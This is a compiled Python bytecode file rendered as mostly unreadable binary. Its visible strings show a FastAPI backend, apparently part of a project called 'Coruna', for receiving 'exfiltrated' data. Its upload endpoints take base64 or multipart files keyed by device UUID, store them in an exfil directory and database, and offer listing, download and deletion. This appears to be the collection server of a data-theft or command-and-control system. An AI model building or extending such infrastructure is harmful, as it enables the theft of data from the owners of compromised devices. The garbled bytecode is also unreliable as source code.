a
    ?j!                     @   s4  d Z ddlZddlZddlmZ ddlmZ ddlmZmZm	Z	m
Z
mZmZ ddlmZ ddlmZmZ ddlmZ ddlZddlZdd	lmZ e Zed
dgdZeeeeedddZededededededededededeef
eeee ee ee ee ee ee ee ed
ddZedededededeefeeee e
edddZejdeej  dddeefeeeedddZ!ejdeej  ddddeefeeeed d!d"Z"ed#eefeed$d%d&Z#e$d'eefeed$d(d)Z%dS )*u   数据上传 API 路由    N)datetime)Path)	APIRouterDependsHTTPException
UploadFileFileForm)Session)ListOptional)get_db)
get_configz/api/uploadupload)prefixtags)device_uuidcategoryfilenamecontentreturnc              
   C   s   t j|  | }|jddd t d}| d| }|| }zHt|}t|d}	|		| W d   n1 sv0    Y  t
|W S  ty }
 z"tddt
|
 d	W Y d}
~
n
d}
~
0 0 dS )
u   保存外泄文件到本地Tparentsexist_ok%Y%m%d_%H%M%S_wbNi  z Failed to decode and save file: status_codedetail)config	EXFIL_DIRmkdirr   nowstrftimebase64	b64decodeopenwritestr	Exceptionr   )r   r   r   r   
device_dir	timestampsafe_filename	file_pathZ	file_datafe r1   '/root/Coruna-main/backend/api/upload.pysave_exfil_file   s    
(
r3    .)
r   r   pathdescription	file_sizer   	mime_typemetadatatask_iddbc
                 C   s   t |	| }
|
stdddd}|rR|r4tj|n| d|  d}t| |||}ddl}d}|rz||}W n |j	y   Y n0 t
j| |||||r|dd nd|||d		}t j|	||d
}d|j|dS )uH   
    通用数据上传接口
    支持base64编码的内容上传
      Device not foundr   Nr   z.binr   i   )	r   r   r5   r6   r7   r   r8   r9   r:   r.   Tokexfil_idr.   )crud
get_devicer   osr5   basenamer3   jsonloadsJSONDecodeErrorschemasExfilUploadcreate_exfilid)r   r   r5   r6   r7   r   r8   r9   r:   r;   devicer.   r   rF   Zparsed_metadata
exfil_dataexfilr1   r1   r2   upload_exfil(   s6     rP   z/file)r   r   r5   filer;   c                    s(  t || }|stddd| I dH }t|tjkrDtdddtj|  | }|jddd t	
 d	}| d
|j }	||	 }
t|
d}|| W d   n1 s0    Y  tj| ||p|jd|j t||rt|dd  nd|jdd}t j||t|
d}d|jt|
dS )uF   
    文件上传接口
    支持multipart/form-data文件上传
    r<   r=   r   Ni  zFile too largeTr   r   r   r   zUploaded file: i   )r   r   r5   r6   r7   r   r8   r:   r>   r?   )rB   rC   r   readlenr    MAX_UPLOAD_SIZEr!   r"   r   r#   r$   r   r'   r(   rI   rJ   r%   	b64encodedecodecontent_typerK   r)   rL   )r   r   r5   rQ   r;   rM   Zfile_contentr+   r,   r-   r.   r/   rN   rO   r1   r1   r2   upload_file_   s2    (
rX   z/list/{device_uuid})response_modeld   )r   skiplimitr;   c                 C   s.   t || }|stdddt j|| ||dS )u   获取设备外泄数据列表r<   r=   r   r[   r\   )rB   rC   r   get_device_exfil)r   r[   r\   r;   rM   r1   r1   r2   list_device_exfil   s    r_   z/listr[   r\   r   r;   c                 C   s&   |rt j||| |dS t j|| |dS )u   获取所有外泄数据列表r]   )rB   get_exfil_by_category	get_exfilr`   r1   r1   r2   list_all_exfil   s    rc   z/download/{exfil_id})rA   r;   c                 C   s   ddl m} |tddgdjtddgdjj| k }|sNtddd|j	rbt
j|j	sntdd	d||j	t
j|j	|jpd
dS )u   下载外泄文件r   )FileResponse..modelsExfilfromlistr<   Exfil record not foundr   zFile not foundzapplication/octet-stream)r   
media_type)fastapi.responsesrd   query
__import__rf   filterrL   firstr   r.   rD   r5   existsrE   r8   )rA   r;   rd   rO   r1   r1   r2   download_exfil   s    rq   z/{exfil_id}c                 C   s   t ddgdj}|||j| k }|s:tddd|jrrtj	
|jrrzt|j W n typ   Y n0 || |  ddd	S )
u   删除外泄记录re   rf   rg   r<   ri   r   TzExfil record deleted)r@   message)rm   rf   rl   rn   rL   ro   r   r.   rD   r5   rp   remover*   deletecommit)rA   r;   rf   rO   r1   r1   r2   delete_exfil   s    
rv   )&__doc__r%   rD   r   pathlibr   fastapir   r   r   r   r   r	   Zsqlalchemy.ormr
   typingr   r   databaser   rB   rI   r    r   routerr)   r3   postintrP   rX   getExfilOutr_   rc   rq   rt   rv   r1   r1   r1   r2   <module>   sr    61"
$